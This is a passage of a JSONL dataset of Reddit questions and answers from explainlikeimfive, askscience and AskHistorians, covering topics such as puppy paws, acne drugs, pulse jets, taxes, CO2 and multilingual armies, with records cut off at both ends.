that comes out of the flames is simply material that has burned inefficiently. It is basically the off-gases that didn't ignite due to their chemical structure. However, given the right conditions (high heat) they will combust. In the case of the candle, they simply follow back to the such which is still hot and a good fuel source, relighting it. \n\nGranted, this video is more about the first than the second, but both are at play here. \n\nEXTRA INFO: The reason this is so dangerous to firefighters is a bit obvious. If to are in an enclosed structure with heavy smoke conditions and the fire spreads rapidly enough, heat rises exponentially. If this isn't recognized by the crew, it will rise high enough to ignite the smoke and spread...'kinda quickly'. \n\nFor more info, you can search he interwebs for info on \"Smoke Explosions\" (a misnomer, explosions refers to the rapid growth) and Fflashover\". YouTube has some great videos!\n"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/2uo8IcD.gif"], "answers_urls": [[], []]}
{"q_id": "1ky7up", "title": "Is there a biological reason that larger breeds of dogs have over-sized paws as puppies?", "selftext": "I know that over-sized paws in puppies usually translates in larger adult dogs, but I've always wondered if there was an actual biological reason that the paws are large to begin with instead of them just growing in tandem with the rest of their bodies.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ky7up/is_there_a_biological_reason_that_larger_breeds/", "answers": {"a_id": ["cbtyx4p"], "score": [5], "text": ["Not all of them do, and you can't always tell how big a dog will be by looking at the puppy's paws.\n\nHere's a [bulldog puppy with big feet](_URL_3_), and here's a [bulldog adult looking decidedly not-large](_URL_0_)\n\nBy contrast, here's a [greyhound puppy with small feet](_URL_4_) and here's a ~~small horse~~ [greyhound adult](_URL_2_)\n\nIt gets even more dicey when you're trying to estimate the adult size of a mixed-breed puppy - for example [this Chihuahua/Doberman Pinscher mix adult](_URL_1_) is not nearly as large as her paws would have suggested.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.loveyourdog.com/images/bulldogbaby2.jpg", "https://hf-mirror.net/_cdn/s3.amazonaws.com/pet-uploads.adoptapet.com/1/7/3/85148473.jpg?336w", "http://media.nj.com/ledgerlocal/photo/11039388-large.jpeg", "http://i3.ytimg.com/i/FIn5xJCFRCZHfD2yw-wXaQ/1.jpg", "http://3.bp.blogspot.com/-Ia9cegy3pIY/UUIhR-M6GxI/AAAAAAAABIU/JtEVkbE2ORs/s320/Greyhound-Puppy-Picture.jpg"]]}
{"q_id": "2p70v7", "title": "Were most slaves in human history caucasian?", "selftext": "How true is the assertion that most slaves in history were, in fact, white? Period: antiquity, location: middle east.\n\nI'm not exactly sure what the claim really is - either that numerically most slaves were caucasian, either the enslavement was the most prolonged, or as a % of a population, it was the most significant.\n\nIs there any truth to any variant on this claim?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2p70v7/were_most_slaves_in_human_history_caucasian/", "answers": {"a_id": ["cmu7cu1", "cmu9xas"], "score": [3, 7], "text": ["What's your definition of \"Caucasian\"? ", "In her excellent work on the formation of \"whiteness\", Nell Irvin Painter's *The History of White People* dispels this myth by pointing out that:\n\n1.)\"whiteness\" didn't really exist before the ~1400s\n\nand\n\n2.)\"whiteness\" has very little to do with actual skin tone and more to do with sociopolitical institutions. Consider that the first \"white people\" could include Africans who adopted European culture, or exclude people who today are firmly within the sphere of \"Caucasian\", like Germans, Poles, Swedes, Finns, French, etc.\n\nSo no, not really. Anyone claiming to definitively know any variation of OP's claim is, intentionally or not, espousing beliefs associated with white supremacy apologetics."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "15ewem", "title": "Why was Nixon led to believe that \"dangerous drugs\" were enemy number 1 of America ?", "selftext": "Just started watching \"[Breaking the Taboo]\"(_URL_0_), and Nixon declares that drugs are enemy number one, which is odd to me and odd thing for a president to say considering that:\n\nThere's the fight against Communism in Vietnam, Russian Nuclear menace at its worst, raising criminality and a very serious energy crisis\n\nof all the things he could have said, why drugs ?\n\nwas it really a problem or was it just the echoes of a moral panic ?\n\ndid he base that decision on facts or on gut instinct\n\n\n---\n\nis this too much of a recent event for /r/AskHistorians ?\n\nshould that go to /r/politics ?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/15ewem/why_was_nixon_led_to_believe_that_dangerous_drugs/", "answers": {"a_id": ["c7luhmn"], "score": [8], "text": ["well, first of all, room must be made for rhetoric.  Presidents never get up to a podium and say \"well this issue isn't particularly important, but i\"d like it if you'd all listen to me anyway\".  That aside, nixon was speaking the context of a truly massive crime wave.  Between 1965 and 1975, [murder](_URL_0_)  between 1965 and 1975, murder almost tripled, and [robbery quintupled](_URL_1_).  Through most of the 60s, the public attitude was to be relaxed on crime.  the supreme court increased protections of criminals' rights, and between 1960 and 1970, the number of people in prison actually declined, despite a doubling of the crime rate and an increase in population.  But by the mid 70s, the mood had decidedly shifted, people were terrified of the crime and fleeing the cities where it was most concentrated.  Nixon and the drug war were the first forays into the blowback, \"tough on crime\" politics that emerged in response to this massive increase in crime.  They stood counter to the popular image of 60s drug culture and general liberality that were easy to blame for the increase in crime.  Of course, the causation was really running the other way, but correlation is more than enough for political campaigns.\n\n**Edit:  never go to r/politics.  it's a cesspit.  r/politicaldiscussion and r/neutralpolitics are both much better places.**"]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/user/breakingthetaboofilm"], "answers_urls": [["http://www.pbs.org/fmc/book/12crime1.htm", "http://www.pbs.org/fmc/book/12crime2.htm"]]}
{"q_id": "1h6v75", "title": "Why do many oral acne medications take so long to have any noticeable effect?", "selftext": "I hear many drugs (doxycycline, amoxicillin, etc.) take 6-8 weeks, or a similar amount of time, before people start noticing reduced frequency and severity of breakouts. Don't most other common (non-resistant) bacterial infections take a much shorter amount of time to see a change in symptoms once treated?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1h6v75/why_do_many_oral_acne_medications_take_so_long_to/", "answers": {"a_id": ["carg9gf"], "score": [53], "text": ["The key to understanding why medications take so long is knowing the pathogenesis of acne - how it develops in the first place.  There are four factors that contribute to acne that can be targeted with therapy:\n\n* Follicular proliferation/hyperkeratinization \n* Increased sebum (skin oil) production\n* *propionobacterium acnes* (*P. acnes*) growth\n* Inflammation\n\nRather than type out a big explanation of how that all progresses to acne, I'll try to summarize it [with a picture instead](_URL_0_).  Basically, as the follicle occludes from hyperkeratinization (too much skin cell production) and increased sebum caused by androgens (which typically surge in production during puberty), a haven for bacterial growth develops, with subsequent inflammation.\n\nOn to treatment!  Typically topical antibiotics are not used as monotherapy, as they have a hard time penetrating into that nice nidus of *P. acnes* growing within the comedone.  Even then, without addressing the other causes, follicles will subsequently occlude, allow bacterial growth, and the cycle of inflammation can begin anew.\n\nTopical antibiotics are typically combined with benzoyl peroxide or a topical retinoid.  Benzoyl peroxide acts as an antibacterial, but also acts as a comedolytic, busting open the comedones so the topical antibiotic can really get down to business on *P. acnes.*  However, even then it takes time to suppress the inflammation that acne results in, especially as benzoyl peroxide is a skin irritant and may cause some mild inflammation itself!\n\nRetinoids are a little different.  They alter DNA expression by binding with certain signaling molecules within the cell.  This leads to decreased keratinization and a dampened inflammatory response, but this change takes time to kick in.  As with any drug that alters DNA response, there is a lag as the proteome (AKA - the entire set of proteins being expressed and acting within the cell) changes in response to the drug's signal.  Those proteins that are causing your face to be inflamed *today* aren't going to suddenly disappear overnight just because you stopped making new proteins.  \n\nEDIT: I missed the fact that you were asking about *oral* medications.  Typically oral antibiotics and oral isotretinoin are used for more severe acne than the topical medicines discussed above.  The same contributors to acne still apply, with some mild differences for antibiotics.  Oral antibiotics are more effectively delivered to within the follicular unit that harbors *P. acnes*.  The tetracycline class (including doxycycline) - which be used in oral, but not topical therapy - also has some anti-inflammatory activity.  Even after the suppression of the bacteria, however, some inflammation may persist.  Follicules may still occlude and still progress through the cycle above, as the bacteria is very difficult to completely eliminate from the skin (and may simply recolonize from elsewhere anyway).  Frequently, treatment has to be directed at the other contributors to acne before significant progress is made, as discussed above.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://imgur.com/gtmzQvz"]]}
{"q_id": "a12jpq", "title": "How many hours a week did NASA scientists work during the lead up to the moon mission, and did any labor union groups voice concerns over increased hours (if any)?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a12jpq/how_many_hours_a_week_did_nasa_scientists_work/", "answers": {"a_id": ["ebbc4q7"], "score": [3], "text": ["Every biography and history book about the Apollo program I've read mentions people working long hours during the lead-up to the moon landing. I have can't think of a source that gave a specific number of hours, but they all agreed that working late and working on weekends was extremely common. \n\nNothing I've read ever mentioned anything about union concerns. I don't think that the white collar workforce at NASA has ever had a union, but I cannot say that for sure. \n\nApollo wasn't the sort of program you worked on because you wanted a nine to five job. *Go Flight!* is a pretty decent book about the history of Flight Operations (mission control) at NASA, and it talked about how people knew perfectly well what they were signing up for when they took NASA jobs back then. There were jobs that paid more money with shorter hours in private industry, and anyone who was smart enough to work as an engineer or manager for NASA could have gotten hired somewhere else. As a group (obviously there are always individual exceptions) people worked for the space program because they cared about what it was doing, not because it was the most comfortable job available. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7oihln", "title": "why do so many african americans have welsh surnames?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7oihln/eli5_why_do_so_many_african_americans_have_welsh/", "answers": {"a_id": ["ds9r4kh"], "score": [4], "text": ["That former slaves took on their previous owners' surnames is a widespread myth: the one thing they didn't often do was to assume the names of their former oppressors. They usually named themselves after other famous Americans, especially those they regarded as heroes of the anti-slavery movement: thus African Americans called \"Brown\" are named not after the slave-owner Jerrett Brown, but the abolitionist John Brown.\n\nI don't know that Welsh surnames are particularly prevalent among black Americans. It's very difficult to judge, though, because the Welsh didn't have surnames until they were forced to adopt them by the English. As a result, the most common Welsh surname, Jones, is actually English in origin, and picked by many families simply because it was already a common surname in England. (In fact, the letter J is foreign to Welsh, used only for words borrowed from English.)\n\nLooking at [a list of the most common surnames among black Americans](_URL_0_), the first one that is undoubtedly Welsh in origin is Davis (referring to St David, the patron saint of Wales). That's an interesting one because the one Davis most closely connected with slavery is Jefferson Davis, who was a fierce advocate of slavery, so unless I'm missing something that does break the usual pattern. You have to go all the way down to the 38th most common, Evans, to find the next unambiguously Welsh name. Names like \"Williams\" and \"Thomas\" are *common* in Wales, but in origin they are English -- and in any case mean nothing more than \"son of William\" and \"son of Thomas\", so could simply have been chosen for that reason (alternatively, Thomas could refer to Thomas Jefferson). \"Davis\", of course, can also mean simply \"son of David\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://names.mongabay.com/data/black.html"]]}
{"q_id": "ss01z", "title": "What happens to a tumor once the person dies? Assuming nothing is done to the body.", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ss01z/what_happens_to_a_tumor_once_the_person_dies/", "answers": {"a_id": ["c4gh7pf"], "score": [21], "text": ["Just like any other cell in the body, it stops receiving oxygen/nutrients and dies.  This process is [necrosis](_URL_0_).\n\nOne interesting side note is that, due to the malformed vasculature of most tumors, there are generally regions of a large tumor that do not receive any blood.  So often times a tumor will be composed in a large part by necrotic tissue.  This is why sometimes patients with advanced cancer have a very powerful odor.\n\nedit: I'm not sure that necrosis is the 100% correct term, since it is generally used to mean \"cell death while the organism itself is alive.\"  If you want to know more of the specific processes, you can look into decomposition.\n\nThe takeaway is that nothing particularly special is known to occur in tumors.  It is all the same processes that occur in normal tissue."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Necrosis"]]}
{"q_id": "26y5ne", "title": "how exactly does electron degeneracy exert a pressure to keep stars from collapsing?", "selftext": "I'm a first year Physics Undergrad and I was wondering if anybody had an explanation? Perhaps this should be a ELI18: but I'm not sure. \nThanks.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26y5ne/eli5_how_exactly_does_electron_degeneracy_exert_a/", "answers": {"a_id": ["chvl47c", "chvl9mb"], "score": [3, 6], "text": ["In my sleepy state, I read that as \"How exactly does Ellen Degeneres exert a pressure to keep stars from collapsing?\" I'm useless. ", "I was just reading about this a few hours ago! I'll summarize what I gathered from my book (*The Cosmic Perspective*).\n\nThink of it as if you've got a pile of blocks. You can't put two blocks (electrons) in the same place (*state* - location, momentum, orbital angular momentum, and spin) at the same time - you've got a block in the way! You could put the block beside it, on top of it, far away from it, or you could remove the original block and replace it, but they just can't occupy the same space. It's not physically possible.\n\nThis is the **exclusion principle**. Basically, you've got one \"slot\" for an electron of a certain type, and once that slot is \"filled,\" you can't put anything else in it. For example, the first orbital around atoms - you can have an electron with *spin up* and an electron with *spin down*, but you can't have two *spin down* electrons. Once the first level's *spin down* slot is filled, another can't be added.\n\nBack to the pile of blocks. You could build yourself a nifty castle with windows and staircases and balconies and stuff, or you could stack them as efficiently as you can, with no empty space between them.\n\nOnce you've got them stacked in this \"smallest possible pile\", you *cannot* make the pile any smaller, no matter how you rearrange the blocks. The pile will be exactly as big as it is in that state.\n\nSo you could say that the pile of blocks is exerting a *block degeneracy pressure* that prevents it from \"collapsing\" in on itself, much like how when you have all of the available \"slots\" for electrons filled, the star will have enough degeneracy pressure to keep from collapsing in on itself.\n\nThat said, there is a limit, but that's a different question.\n\nFor NLY5, see /u/jscaine 's post below."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "260a7p", "title": "pulse jets", "selftext": "effing pulse jets. [How do they work?](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/260a7p/eli5pulse_jets/", "answers": {"a_id": ["chmfb7z", "chmfdcw"], "score": [2, 2], "text": ["Okay so think of a normal jet engine. The big fan section in the front? Air goes through the blades and is compressed. Then it is mixed with fuel and ignited creating the exhaust that makes the plane fly. \n\nThe pulse jet in this video is essentially the same thing but instead of using fans to compress air, it uses math to give the exhaust the easiest route to escape causing thrust making the bike go forward. [Gif](_URL_0_)\n\nPulse jets are pretty inefficient at generating actual thrust, making their use for aircraft generally theoretical minus a few prototypes. \n\nPulse **Detonation** Engines being developed by the military promise extremely high efficiency at extremely high speeds because at those speeds using a big fan to compress your air is incredibly difficult and inefficient. ", "Pulse jets are very simple. Fuel and air are pumped into the combustion chamber at the front. Then a spark causes them to ignite. Exhaust comes out the back. As the exhaust is expelled, it causes the engine to be propelled forward.\n\nThey are easy to build, but noisy, and not particularly powerful because the fuel/air mixture is not compressed before it is ignited."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=bKHz7wOjb9w&amp;list=PLGjbAdaOBLBnIoUrJqPAuRe38kvcQ9_V7&amp;index=5"], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/thumb/2/2c/Puls1Motor_en.gif/350px-Puls1Motor_en.gif"], []]}
{"q_id": "429agl", "title": "Jupiter is sometimes referred to as a failed star, too small to achieve nuclear fusion. If a Neptune sized planet crashed into Jupiter would it be big enough to be a star then and give us a small second star in our solar system?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/429agl/jupiter_is_sometimes_referred_to_as_a_failed_star/", "answers": {"a_id": ["cz8mk9r", "cz942xw"], "score": [185, 9], "text": ["The theoretical minimum mass a star needs to undergo nuclear fusion (i.e. to actually be a \"star\") is about 75 times the mass of Jupiter. Neptune is about 5% of Jupiter's mass, so we'd be increasing Jupiter from 1 \"Jupiter mass\" to 1.05 \"Jupiter masses\" - still way below what we need.", "Calling Jupiter a failed star is pretty stupid. Jupiter is closer to a micrometeorite than a star in terms of mass. As Astrokiwi said you would need to slam 75 Jupiters together to have a chance at achieving enough mass to start nuclear fusion in its core, thus creating a star. Answer to your question - no, it wouldn't be enough."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5ag80i", "title": "how does the irs determine you've paid too much/too little in taxes for the year?", "selftext": "Ever since I started working, I've always gotten some money back from my taxes. Sometimes it's been quite a decent amount, other times it's been barely anything.\n\nI don't fully understand why we either get a refund every tax season or have to pay in. I guess what I'm unsure about is since income tax is taken out of every one of my paychecks and I basically have no control over how much Uncle Sam is digging in my pockets (other than how many allowances I claim on my W-4 form), how/why do they decide I paid too much and offer a refund?\n\nI wish they'd teach this shit in high school... ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ag80i/eli5_how_does_the_irs_determine_youve_paid_too/", "answers": {"a_id": ["d9ga6g3"], "score": [7], "text": ["So your official tax bill is based on your full year income and a given percentage rate.  This rate goes up as you earn more money.  You may also be eligible for special tax credits that will reduce your tax bill.\n\nIn order to make it less painful for you and to ensure the government gets its money, it separates your tax bill into pieces at each paycheck.  So the government estimates your full year tax bill based on each paycheck. If one paycheck is bigger, say worked a lot of overtime last week, they will charge taxes assuming you make that much money every week and may tax you at a higher rate that week.  When your full year income comes in lower, you get a refund.  \n\nAlso, the base those paycheck estimates on the basic rates.  If you  qualify for a tax credit (EITC, Saver's Credit, etc.) you get that back because the government can't assume everybody will get it.\n\nFinally, the government takes a little bit extra out of each paycheck to ensure most people get refunds.  People like getting checks rather than writing checks. Also, the government would rather not chase people for their tax money.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b7oagb", "title": "how do military planes target?", "selftext": "How does a plane (like an A-10) target and fire with such accuracy so high up at such a fast speed? Is there a guy on the ground shining a laser at the target? Satalites? An on board targeting system? A mixture?\n\nIs it anything like this video (ARMA 3)\n\n _URL_0_\n\nHe's using it drop a JDAM, but it's pretty much the same for strafing runs (in the game). Is it at all like this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b7oagb/eli5_how_do_military_planes_target/", "answers": {"a_id": ["ejt0fa4", "ejt1pxf"], "score": [2, 3], "text": ["A mixture. \n\nIm forgetting a lot od the names, but they typically carry a massive targeting pod, which is just a big camera, super powerful camera. This combined with a Maverick missile (which can lock on to things you designate with the TP) allows pretty much pinpoint accuracy. To the point where you can target and watch a mans face with the TP as you bomb him. \n\nMeanwhile, they also have a few different HUD based systems that allow them to target based on what they can see, line up dummy munitions (ie, not guided like mavericks), or line up guided munitions so theyll reach their target with a good room for error (such as a moving target).\n\nFor those types of guided munitions someone on the ground could be lasering, a wing mate, or even the plane itself can laser designate a target. \n\nIf you do have wingmates and/or are working with an AWACS you can also have targetting information sent to you so everyone can get eyes on the same target expediently. \n\nAnd of course like most other military aircraft their gun has its own system that doesnt necessarily assist with targetting but does assist with knowing when to fire. \n\nEdit: if you want a good idea of what this looks like, look up DCS A-10C. Thats the best simulation of flying an A10C that we have. \n\nIf you just want to look up videos, try Ralfidude on youtube. Hes one of the best out there. ", "A-10 in neither fast and can not operate at high altitude compared to fighter and even bombers are faster. It is designed for ground attack so it is rather slow and optimized for low level operations.\n\n & #x200B;\n\nIf you a computer game to compare too look at videos from  DCS it is a simulator that attempts to be close to reality.\n\n & #x200B;\n\nIf you a targeting pod like in the game that is likely a   [LITENING targeting pod](_URL_0_) . It has a laser designation that shine a laser on the target. JDAM initially was GPS and inertial guided to a target but some later variant have laser seekers too.\n\nGPS can hit tagets covered by clouds  and you do not need a laser pointed at the target the whole time but you cant hit a moving target with it like and it can be jammed. Laser can hit moving targets and is a lot harder to jam but clouds or smoke will block the laser and someone/something need to points laser on it so both have te advantages and disadvantages\n\nYou see real video from targeting pods from the invasion of Iraq of 2003 at  [_URL_1_](_URL_1_) \n\n & #x200B;"]}, "title_urls": [], "selftext_urls": ["https://youtu.be/QPeMRG9ehJM?t=00m41s"], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Litening", "https://www.youtube.com/watch?v=XFj6f9L827A"]]}
{"q_id": "23tnc2", "title": "Did China lose the first Sino-Japanese War in 1895 due to corruption?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/23tnc2/did_china_lose_the_first_sinojapanese_war_in_1895/", "answers": {"a_id": ["ch0hyr9"], "score": [3], "text": ["In terms of economics, Japan had spent roughly 30 years industrializing since the Meiji Restoration. An industrial economy has a huge edge over a rural economy during war time, as seen during the Civil War. Corruption had little to do with it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5yi2td", "title": "are the largest sources of co2 that are damaging to the environment produced by humans or nature?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5yi2td/eli5_are_the_largest_sources_of_co2_that_are/", "answers": {"a_id": ["deq7dcw", "deq8ck5", "deqcwt3"], "score": [6, 5, 4], "text": ["Nature.\n\nBut for a long time it was more or less balanced, and then we came in and pushed on the scales, adding more CO2 into the environment than naturally gets removed, while at the same time are contributing in removing the things in the cycle that removes the CO2 from the air.", "Nature. Humans are reported to add about 3% of the total of CO2 emissions. However... the natural balance of CO2 that exists in the carbon cycle and which has been balanced for most of the Earth's lifetime, is being thrown off due to our addition of CO2 in the atmosphere. \n\nSource: Top of my head right now, Biochem major working on a climate change senior capstone", "There's a couple things to clear up before answering this question:\n\n* CO2 doesn't damage the environment, it's a critical component of our atmosphere. It helps to keep the earth warm enough to live and it plays a critical role in plant and animal life. If CO2 levels were significantly lower than they are we'd be in serious trouble\n* High CO2 concentrations in the atmosphere don't immediately cause any serious harm, at least not immediately the way that lead or CFCs do. CO2 causes the atmosphere to warm by trapping heat, which most of the time is a good thing.\n* The problem we're facing now isn't the absolute level of CO2, but the rate at which it's changing. CO2 concentrations are rising extremely quickly, and so the planet is warming extremely quickly, and it may be too quick for plants and animals to react to.\n* Even more worrying is that maybe even humans might not be able to react to the changes fast enough. The changes are likely to include ice melting and the ocean level rising and coastal cities starting to flood, amongst other serious problems.\n* Also CO2 isn't the only problem, methane (CH4) is also a serious contributor to warming. So we shouldn't just be thinking about CO2, but carbon in the atmosphere.\n* And we shouldn't be thinking about \"sources\" of carbon, there's pretty much a fixed amount of carbon on earth, we're not making or destroying any. Carbon is in the ocean and soil and plants and animals and deep underground, it's also in the air as CO2 and CH4.\n* Carbon naturally gets released from the ocean and plants and everywhere else in to the atmosphere, and the ocean and plants and soil and everything also absorb carbon from the atmosphere. Usually this is caused by things growing and then dying. They absorb carbon when they grow and then release it when they die. This is called the carbon cycle.\n* Sometimes over thousands or millions of years the balance between all those things releasing and absorbing carbon changes a little and the concentration in the atmosphere goes up or down, and then the average temperature of the planet goes up or down.\n* Very rarely something big will change, for example 385 million years ago trees evolved. Trees are great at sucking up tons of carbon, and holding on to it very tightly. The interesting thing is that 385 million years ago when trees died there was nothing that grew on them to decompose them and release that carbon, so it just got stuck in dead trees everywhere. This was a big event during the [Carboniferous period](_URL_0_) that contributed to things like high levels of Oxygen in the atmosphere and a cooling that took a few million years to happen.\n* Humans are a similarly huge event, we've been around for maybe 200,000 years, but in the last few *hundred* years we discovered coal and oil (some of which was left over from the above Carboniferous period) and started burning it. This is an entirely new part of the carbon cycle and unfortunately it only releases carbon there's no balance to it, it adds carbon to the atmosphere, but doesn't have any offset process that captures it again. It also happens very quickly.\n* We also domesticated animals and cut down huge swaths of the earth's forests to make room for more animals, lots more. Right now cattle are, by weight, the most populous species on the planet. They outweigh humans by double. They need a lot of land, which means that the earth has way less forests than it did a few hundred years ago.\n* So humans are adding way more carbon to the atmosphere, and we're also cutting down forests that used to suck up that carbon, so we're changing the carbon cycle in two very big ways. Those changes are also happening very quickly. The Carboniferous Period lasted for tens of millions of years, the changes we're making were happening in hundreds of years and now are happening in decades.\n* If we want to know what's most damaging to the environment humans burning fossil fuels and cutting down forests are leading to changes that are significantly faster than anything that's happened for millions of years, certainly anything that's happened since the first humans evolved."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Carboniferous"]]}
{"q_id": "c1vicr", "title": "how and why is the wasp's stinger area still actively moving despite the wasp already killed?", "selftext": "I killed a wasp with a shoe in the house today and noticed that despite the wasp being dead, its stinger part is still moving.  How and why is that?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c1vicr/eli5_how_and_why_is_the_wasps_stinger_area_still/", "answers": {"a_id": ["erfwx6j"], "score": [4], "text": ["Death twitches. Most animals, humans included, will continue to twitch even after death. This is caused by the body's muscles expanding and contracting on their own, adjusting to the built up tension from normal use as well as the blood and energy settling. It usually stops after a minute or two."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ai62yt", "title": "With underground nuclear explosions that create large craters with no above-ground material ejection, how is the cavity for the crater formed?", "selftext": "This was posted in another sub: [_URL_0_](_URL_0_)\n\nIt seems as if the explosion is entirely contained underground, and a large cavity is created that collapses with little/no ejection of material.\n\nWhat causes this? Compaction of surrounding earth? Something about melting/vaporization? Unseen material ejection?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ai62yt/with_underground_nuclear_explosions_that_create/", "answers": {"a_id": ["eelpl0n", "eemvnjc"], "score": [9, 2], "text": ["Imagine the ground as being a house of cards. There is air inside but the shape is held together by the structures supports. The explosion would knock out these supports (rocks/clay/dirt) and the ground falls in, like you see there, with air escaping upwards because it has nowhere else to go.\nThe reason you don't see dirt flying up is because the explosion didn't have enough energy released to lift all the mass above it. It probably does lift but only enough to make the structure unstable.", "The underground explosion creates a cavity into which the dirt/rock/etc. above it falls, creating what is known as a subsidence crater. [Here's a nice diagram of the process.](_URL_0_) \n"]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/wMOy7fz.gifv"], "answers_urls": [[], ["https://qph.fs.quoracdn.net/main-qimg-168604cfc7aea30588846406d67e1d9c.webp"]]}
{"q_id": "6wc35n", "title": "shipping from asia to the us", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6wc35n/eli5_shipping_from_asia_to_the_us/", "answers": {"a_id": ["dm6xo4z"], "score": [3], "text": ["China government subsidizes shipping to the US.   it's part of pushing export trade to the US.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1mxrpa", "title": "if _url_0_ is so illegal, why hasn't it been shut down?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mxrpa/if_piratebaycom_is_so_illegal_why_hasnt_it_been/", "answers": {"a_id": ["ccdlncr", "ccdlpzq", "ccdlvh8", "ccdlx7t", "ccdmg2k", "ccdn4l4"], "score": [20, 21, 24, 23, 3, 3], "text": ["It's not illegal (enough) in the country/countries where it's based. Also that's why it moves frequently.", "Internet is ineternational. Laws usually aren't.\n\nPlenty of places would and have deemed it illegal, but the Pirate Bay isn't hosted from those countries.", "Pirate bay is not illegal at all.\n\nSee Pirate Bay does not give you anything, it just points you to where you can get things. Pirate bay serves as a method to find torrents, but it does not host or distribute the files itself. Now you downloading the files, and those files being sent to you, thats illegal. ", "Swedish company.  US law doesn't apply.  They post all of the emails they recieve from US companies threatening legal action.  TPB's responses are gold.  Check it out.", "FREE ANAKATA!\npoor Gottfrid being held accountable for all OUR downloads", "It has been occasionally.  As other people say, they just move to hosting in a country where it is legal.\n\nIt is blocked some places (along with lots of other things) - the most obvious example of this is china, who basically run a giant blacklist of things you can't visit from within china.  \n"]}, "title_urls": ["piratebay.com"], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1ldqgh", "title": "how do militaries in multi-lingual countries (eg. canada, belgium) operate?", "selftext": "Since it seems like a significant weakness to have to give orders to your squad in English and French in the middle of combat, how do you get around that? Are soldiers grouped into units that speak the same language? Are naval warships all crewed by speakers of one language?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ldqgh/eli5_how_do_militaries_in_multilingual_countries/", "answers": {"a_id": ["cby7q9k", "cby7r2p", "cby7yst", "cby994x", "cbya6vr", "cbycsm0"], "score": [2, 18, 5, 3, 2, 5], "text": ["They pick a language to use as standard, or most (if not all) soldiers are bilingual. Canada would most likely use English, while Belgium would probably use French and German, depending on whose forces they were training with.", "In Canada at least, mostly everything is done in English as far as I know. I believe there are squads (or the equivalent) which are specifically designated as francophone for soldiers who speak french, but I'm pretty sure these (if they still exist) make-up only a very small percentage of the armed forces and probably wouldn't be deployed in places where English communication would be necessary.\n\nKeep in mind that, although Canada is bilingual, roughly 85% of the population speaks English fluently. While French is an official language of the country, the use of spoken French is primarily limited to specific geographic regions (like Quebec) and for official government services (where one has the option of requesting service in French). You can honestly live in major Canadian cities like Toronto and Vancouver without ever hearing anybody speak french in person.\n", "You get around it.\n\nAs we speak, I am working with Czech Republic, Jordanian, Korean, Canadian, and Afghan militaries.  THankfully, they all have people who speak at least a little English.  Sometimes, we pretty much play charades to figure out what we're talking about.\n\nedit: Oh, and US Army.  Sometimes as Air Force, I feel like I understand Czech better than what those Army guys are talking about, lol", "Singapore here, and we mostly speak English, so that's what is used for most day-to-day communications, although Mandarin/ Hindi/ Malay are used depending on the fluency of people's English.\n\nParade commands, however, are given in Malay.", "It's worth mentioning that the US Army actually has a Spanish-speaking, Puerto Rican regiment: the [65th Infantry Regiment](_URL_0_).", "Belgium : army use the main method of belgian bilingual organisations. Everyone speak his own mother language and everyone is supposed to understand the language of the other. \nThat is if both french  &  dutch speaking work together but usually you have french and duch regiments where only dutch or french is used.\nEnglish is also used in air force or with other nato military (but not german, would be extremely rare)\n\nThis is a difficult topic in belgium due to WWI where flemish soldiers died because they did not understand the french of the officers (this is also a class traumatism as well as a language traumatism).\nI am not making a pro flemish point here, as a matter of fact I am french speaking but still understand part of the emotions linked with this topic. \n\nAnd yes in bilingual organisations problems happen. A deadly train accident a few years ago resulted from the impossibility for a dutch speaking controler to understand the french speaking one shouting on the 